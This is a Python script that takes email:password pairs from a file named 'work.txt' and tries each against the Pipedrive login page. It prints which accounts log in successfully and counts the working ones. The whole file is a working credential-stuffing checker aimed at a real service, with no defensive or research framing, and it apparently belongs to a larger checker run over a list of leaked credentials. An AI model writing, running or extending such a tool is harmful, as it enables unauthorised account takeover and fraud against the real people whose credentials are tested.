#!/usr/bin/env python3
# Test 10 credentials from work.txt to see if any actually work

import requests

LOGIN_URL = "https://app.pipedrive.com/auth/login"

# Read first 10 from work.txt
with open("work.txt", "r", encoding="utf-8") as f:
    lines = [line.strip() for line in f if line.strip()][:10]

session = requests.Session()
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept': 'text/html,application/xhtml+xml',
}

print("Testing 10 credentials from work.txt:\n")
print("=" * 70)

working_count = 0
failed_count = 0

for line in lines:
    if ':' not in line:
        continue
    
    email, password = line.split(':', 1)
    
    try:
        session.get(LOGIN_URL, headers=headers, timeout=5)
        
        login_data = {
            'email': email,
            'password': password,
            'remember_me': 'true'
        }
        
        response = session.post(LOGIN_URL, data=login_data, headers=headers, allow_redirects=True, timeout=5)
        final_url = response.url
        
        if '/auth/login' in final_url:
            print(f"✗ {email} - FAILED")
            failed_count += 1
        elif '/app/' in final_url or '/deals' in final_url:
            print(f"✓ {email} - SUCCESS!")
            working_count += 1
        else:
            print(f"? {email} - UNCLEAR ({final_url[:50]})")
            failed_count += 1
            
    except Exception as e:
        print(f"! {email} - ERROR: {str(e)[:50]}")
        failed_count += 1

print("=" * 70)
print(f"\nResults: {working_count} working, {failed_count} failed")
print(f"\nIf all failed, the original checker had a bug!")

